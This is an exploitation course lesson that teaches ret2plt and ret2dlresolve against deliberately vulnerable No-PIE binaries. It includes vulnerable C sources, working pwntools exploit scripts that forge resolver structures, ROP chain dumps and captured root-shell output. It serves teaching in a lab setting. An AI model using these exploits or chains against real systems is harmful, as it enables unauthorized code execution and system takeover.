Lesson 8.2: ret2plt and ret2dlresolve
The previous lessons leaked libc first and then called system. But sometimes you cannot leak anything at all: no print function, no GOT read bug. This lesson gives two moves for that situation. ret2plt: call a function that already has a PLT entry without ever knowing the libc base. ret2dlresolve: when the binary still has lazy binding, force the dynamic linker itself to resolve system for you using forged structures. Both run live on a No-PIE Ubuntu 24.04 binary.
ret2plt reuses a PLT entry the binary already has. ret2dlresolve forges Elf64_Rela and Elf64_Sym so the resolver finds “system” for you.
Prerequisites: Lesson 1.3 (PLT/GOT, lazy binding, _dl_runtime_resolve), Lesson 6.1 (ret2libc, alignment), Lesson 6.3 (ROP chains), Lesson 3.3 (pop rdi gadget).
Tools: pwntools (ROP, Ret2dlresolvePayload), ROPgadget, gdb + pwndbg, readelf, objdump, checksec.
Goals
By the end you can call a function via a PLT stub when libc cannot be leaked (ret2plt), understand lazy binding and _dl_runtime_resolve well enough to abuse them, forge an Elf64_Rela / Elf64_Sym / function-name string to force the resolution of system (ret2dlresolve), know exactly when each applies (dynamic, No-PIE, lazy binding), and run pwntools’ Ret2dlresolvePayload for real on glibc 2.39.
Theory
Part A: ret2plt, calling a function through the PLT when there is nothing to leak
Recall Lesson 1.3: when a binary uses a libc function, it gets a stub in the PLT and an entry in the GOT. The PLT stub is at a FIXED address inside the binary (with No-PIE), and lazy binding at runtime decides where that stub actually jumps. The consequence: you can call func@plt WITHOUT ever knowing where func sits in libc. The PLT is a stable door that always leads to the right function.
ret2plt exploits exactly this. If the binary already imports a useful function (for example system) and the binary’s .rodata already has a /bin/sh string, then even with ASLR on and nothing leaked, you can still call system("/bin/sh") using a chain like this one.
1
2
3
[ saved RIP ] -> pop rdi ; ret
-> &"/bin/sh" (already present in the binary's .rodata)
-> system@plt (fixed address in the binary, PLT resolves itself)
The core requirement for ret2plt: the target function must already be imported by the binary (it must have a PLT entry). If the binary never calls system anywhere, there is no system@plt, and ret2plt with system is impossible. That is exactly when ret2dlresolve, part B, comes in.
ret2plt has another use you already met in Lesson 6.2: calling puts@plt(puts@got) to leak libc. There, ret2plt is the leaking step. Here we use it to call a dangerous function that already exists.
Part B: ret2dlresolve, letting the linker resolve it for you
A harder situation: the binary is No-PIE, has no system@plt, no /bin/sh string, and no function to leak libc with. It looks like a dead end. But if the binary still has lazy binding, there is a way around it: force ld.so’s own _dl_runtime_resolve to resolve system to its libc address and call it, all without ever knowing the libc base.
Recall lazy binding (Lesson 1.3). The first time a not-yet-resolved function is called, the PLT stub runs roughly this sequence.
1
2
3
4
func@plt:
jmp [func@got] ; first call: GOT entry still points at the resolver stub below
push reloc_index ; push the relocation INDEX for func onto the stack
jmp PLT[0] ; jump to _dl_runtime_resolve(link_map, reloc_index)
_dl_runtime_resolve(link_map, reloc_index) processes reloc_index in three steps.
- Takes the
reloc_index-thElf64_Relastructure in.rela.plt. That Rela hasr_offset(the GOT entry to fill) andr_info(which holds a symbol index). - From the symbol index, it fetches the
Elf64_Symin.dynsym. That Sym hasst_name, an offset into.dynstrpointing at the function name string, for example"system". - It looks up that name in libc, finds the real address, WRITES it into the
r_offsetGOT entry, then jumps into the function.
The gap is that reloc_index, Elf64_Rela, Elf64_Sym, and the name string are all data the resolver TRUSTS. If we control a writable region at a fixed address (for example .bss in a No-PIE binary), we can do the following.
- Place a forged
Elf64_Rela, a forgedElf64_Sym, and the strings"system\0"and"/bin/sh\0"there. - Choose a large
reloc_indexthat falls outside the real.rela.pltand lands exactly on our forged Rela. - Jump into
PLT[0]with thatreloc_indexon the stack.
The resolver follows our forged pointers, reads the name "system", resolves it to a libc address, and calls system with the argument we already set up (rdi = &"/bin/sh"). We never leaked a single byte of libc.
Conditions, stated precisely
ret2dlresolve only works when all of the following hold.
- The binary is DYNAMIC (dynamically linked) and still has LAZY BINDING. Lazy binding goes together with Partial RELRO. Under Full RELRO there is no more lazy-style
_dl_runtime_resolve(the GOT is resolved up front at load and locked read-only), so ret2dlresolve fails. - No-PIE is ideal, because we need a FIXED writable address (
.bss) to place the forged structures, and a fixedPLT[0]address to jump to. With PIE you must leak the image base first, which defeats the “no leak needed” advantage. - There is a write stage available, usually another
readcall inside the ROP chain to load the forged structures into.bss.
A common misconception worth correcting: many write-ups say ret2dlresolve “is for static binaries”. That is wrong. A STATICALLY linked binary has no dynamic linker, no _dl_runtime_resolve to abuse, so ret2dlresolve does not apply there at all; for static binaries you use ret2syscall or SROP (Lesson 6.3). ret2dlresolve is really a move for DYNAMIC, No-PIE binaries with lazy binding, when you CANNOT leak libc. The “no-leak” part is what defines it, not “static”.
A note on glibc 2.39
Modern glibc tightens _dl_runtime_resolve: if the binary has .gnu.version (DT_VERSYM), the resolver uses the symbol index to look into a version table, so a careless reloc_index can make it read garbage version data and crash. Our demo binary DOES have DT_VERSYM (readelf -d shows VERSYM 0x4004cc). The good news: the current pwntools Ret2dlresolvePayload already lays things out to work around the version table issue, and it RUNS FOR REAL on glibc 2.39 in the lab below. You do not have to build the structures by hand, but it helps to understand why this can be tricky.
One more detail on modern glibc: system uses an SSE movaps instruction that requires rsp aligned to 16 bytes. After the resolver tail-calls into system, the stack can be off by 8 bytes and crash. The familiar fix from Lesson 6.1 applies: insert a ret gadget to round rsp up. The lab below needs exactly one such ret.
Demo
Test environment: Ubuntu 24.04.4, glibc 2.39, gcc 13.3.0. Both binaries: No PIE, No canary, NX enabled, Partial RELRO. Compile for Partial RELRO to keep lazy binding, using a command like the one below; the actual build script is in the Lab section below.
1
gcc -fno-stack-protector -no-pie -fcf-protection=none -z relro -z lazy -O0 -g -o <bin> <src>.c
Note: gcc 13 No-PIE no longer ships a ready pop rdi ; ret like older binaries. To keep both labs focused on the GOT/PLT technique rather than gadget hunting, each source adds a small gadget block through inline asm (pop rdi/rsi/rdx ; ret), which ROPgadget and pwntools find normally, as shown below.
1
2
3
4
$ ROPgadget --binary dlresolve | grep -E 'pop rd. ; ret|pop rsi ; ret'
0x0000000000401146 : pop rdi ; ret
0x0000000000401148 : pop rsi ; ret
0x000000000040114a : pop rdx ; ret
Part A: ret2plt
The core part of source ret2plt.c has an overflowing vuln, plus one unreachable system("/bin/sh") call that forces the linker to import system@plt and keep the /bin/sh string.
1
2
3
4
5
6
7
void vuln(void){ char buf[64]; read(0, buf, 256); } // overflow saved RIP
int main(void){
setvbuf(stdout, NULL, _IONBF, 0);
puts("== ret2plt demo ==");
if (getpid() == 0) system("/bin/sh"); // never runs, exists only to get system@plt + the string
vuln();
}
A quick check confirms the binary has exactly the two things ret2plt needs.
1
2
3
$ objdump -d -M intel -j .plt ret2plt | grep -A1 system@plt
0000000000401050 <system@plt>: jmp QWORD PTR [rip+0x2fba] # 404010 <system@GLIBC_2.2.5>
# system@plt = 0x401050 ; /bin/sh string lives at 0x402017
The exploit (exploit_ret2plt.py) needs no leaking at all.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
context.binary = elf = ELF('./ret2plt')
OFFSET = 72 # buf[64] + saved rbp(8)
io = process('./ret2plt'); io.recvuntil(b'demo ==\n')
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
binsh = next(elf.search(b'/bin/sh\x00')) # string in the binary
payload = flat(
b'A' * OFFSET,
ret, # 16-byte alignment before system (movaps)
pop_rdi, binsh,
elf.plt['system'], # system@plt, fixed address, resolves itself via PLT
)
io.sendline(payload)
io.interactive()
Running it for real produces this output, captured from the transcript.
1
2
3
4
5
6
[*] pop rdi = 0x401166
[*] /bin/sh = 0x402017
[*] system@plt = 0x401050
===PWNED_8_2_PLT===
uid=0(root) gid=0(root) groups=0(root)
[+] ret2plt OK: system@plt("/bin/sh") got a shell, no libc leak needed
Part B: ret2dlresolve
Source dlresolve.c has NO system, NO /bin/sh, just a read (overflow) and puts, so there is nothing to leak at all.
1
2
3
4
5
6
void vuln(void){ char buf[64]; read(0, buf, 0x200); } // overflow, room for the ROP chain
int main(void){
setvbuf(stdout, NULL, _IONBF, 0);
puts("== ret2dlresolve demo ==");
vuln();
}
Confirming the binary qualifies for ret2dlresolve, it has .rela.plt, .dynsym, .dynstr, and still has lazy binding (Partial RELRO).
1
2
3
4
5
6
$ readelf -SW dlresolve | grep -E 'rela.plt|dynsym|dynstr'
[ 6] .dynsym DYNSYM 00000000004003c8 ...
[ 7] .dynstr STRTAB 0000000000400470 ...
[11] .rela.plt RELA 0000000000400558 ...
$ readelf -dW dlresolve | grep -E 'JMPREL|SYMTAB|STRTAB|VERSYM'
JMPREL 0x400558 SYMTAB 0x4003c8 STRTAB 0x400470 VERSYM 0x4004cc
This is where pwntools helps a lot, since Ret2dlresolvePayload computes the entire forged Rela/Sym/string blob and the resolve index.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
context.binary = elf = ELF('./dlresolve')
OFFSET = 72
io = process('./dlresolve'); io.recvuntil(b'demo ==\n')
dl = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop = ROP(elf)
rop.raw(rop.find_gadget(['ret'])[0]) # 16-byte alignment for system
rop.read(0, dl.data_addr, len(dl.payload)) # stage 1: load the forged blob into .bss
rop.ret2dlresolve(dl) # stage 2: force the resolve of system
payload = fit({OFFSET: rop.chain()})
io.send(payload)
time.sleep(0.3) # wait for vuln's read to return, so stage 1 is not swallowed
io.send(dl.payload) # the data read into data_addr
io.interactive()
The exploit uses a two-stage flow. Stage 1’s chain calls read(0, data_addr, len) to load the forged structure blob into .bss at data_addr, then stage 2’s ret2dlresolve sets rdi = &"/bin/sh" (inside the blob) and jumps into PLT[0] with the forged relocation index. pwntools prints the exact chain it built below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[*] data_addr = 0x404e00
[*] dl payload len = 80
[*] ROP chain:
0x0000: 0x40101a ret <- alignment
0x0008: 0x40114a pop rdx; ret
0x0010: 0x50 [arg2] rdx = 80
0x0018: 0x401148 pop rsi; ret
0x0020: 0x404e00 [arg1] rsi = data_addr
0x0028: 0x401146 pop rdi; ret
0x0030: 0x0 [arg0] rdi = 0
0x0038: 0x401040 read <- stage 1: read(0, data_addr, 80)
0x0040: 0x401146 pop rdi; ret
0x0048: 0x404e48 [arg0] rdi = &"/bin/sh" (inside the blob)
0x0050: 0x401020 [plt_init] system <- jumps into PLT[0]
0x0058: 0x309 [dlresolve index] <- the forged relocation index
The result of running it for real on glibc 2.39, from the transcript, is this.
1
2
3
===PWNED_8_2_DL===
uid=0(root) gid=0(root) groups=0(root)
[+] ret2dlresolve OK: forced _dl_runtime_resolve to call system("/bin/sh")
That 0x309 is the forged reloc_index that pwntools computes so it lands exactly on the forged Elf64_Rela in the blob, while also respecting glibc 2.39’s DT_VERSYM check. Every address used in this chain is a fixed No-PIE binary address, and not one byte of libc was ever leaked.
Lab
- Challenge: two binaries, provided in the Lab section below.
ret2plt(hassystem@pltand/bin/sh) anddlresolve(has nothing to leak, nosystem). Both No-PIE, Partial RELRO. - Goal: get a shell on both WITHOUT leaking libc.
- Hints, in order:
- Hint 1 (ret2plt): find
system@pltwithelf.plt['system']and/bin/shwithelf.search. Chain:ret ; pop rdi ; &binsh ; system@plt. - Hint 2 (dlresolve): use
Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh']). Build the chainread(0, dl.data_addr, len)thenrop.ret2dlresolve(dl). - Hint 3: crashing inside
system? Insert aretfor alignment. Stage 1 getting swallowed? Add a small delay between the two sends. - Self-check: can you explain “why ret2plt needs a function that already has a PLT entry” and “why ret2dlresolve dies under Full RELRO”?
- Hint 1 (ret2plt): find
Key takeaways
- ret2plt: call
func@plt(a fixed address) without knowing the libc base, as long as the binary already importsfunc. - No
system@pltand nothing to leak: think ret2dlresolve. - ret2dlresolve forges an Elf64_Rela plus an Elf64_Sym plus a name string, forcing
_dl_runtime_resolveto resolve a function. - Conditions: dynamic, No-PIE, lazy binding (Partial RELRO). Not “static”.
- Full RELRO kills ret2dlresolve (no more lazy resolving, GOT locked).
- pwntools’
Ret2dlresolvePayloadhandles the forged structures and works on glibc 2.39. - Remember one
retfor alignment beforesystemruns.
Common pitfalls
- Using ret2plt for a function the binary does not have. No
system@pltmeanself.plt['system']errors out. Switch to ret2dlresolve. - Thinking ret2dlresolve is for static binaries. Static binaries have no dynamic linker. ret2dlresolve is for DYNAMIC, lazy-binding, no-leak binaries.
- Running this against Full RELRO. Lazy binding is off and
_dl_runtime_resolveno longer follows the old path.checksecmust showPartial RELRO. - Forgetting alignment. The chain is otherwise correct but SIGSEGVs right at the start of
system’smovaps. Add oneret. This lab needs exactly one. - Stage 1 swallowed by the first
read. If the payload anddl.payloadare sent together, the overflowingreadcan consume both. Send the payload first, pause briefly, then senddl.payload. data_addrnot writable, or overlapping memory still in use. pwntools defaults to.bss, but if you pick it yourself it must be in arw-segment.- PIE. A PIE binary randomizes
.bssandPLT[0]too, losing the “no leak needed” property. You would have to leak the image base before even considering dlresolve.
Further reading
- Lesson 1.3:
_dl_runtime_resolveand lazy binding, worth re-reading carefully before building a dlresolve chain by hand. - pwntools docs:
pwnlib.rop.ret2dlresolve.Ret2dlresolvePayload, read up on thedata_addr,symbol,argsparameters. - “Return to dl-resolve” write-ups on various pwn blogs (for example CTF team series), and the dlresolve chapter on pwn.college.
- Lesson 6.2 (leaking libc through the GOT) for comparison: once you can leak, ret2libc is much simpler, and dlresolve is the move when leaking is blocked.
- how2heap and SROP for static binaries (where dlresolve does not apply).
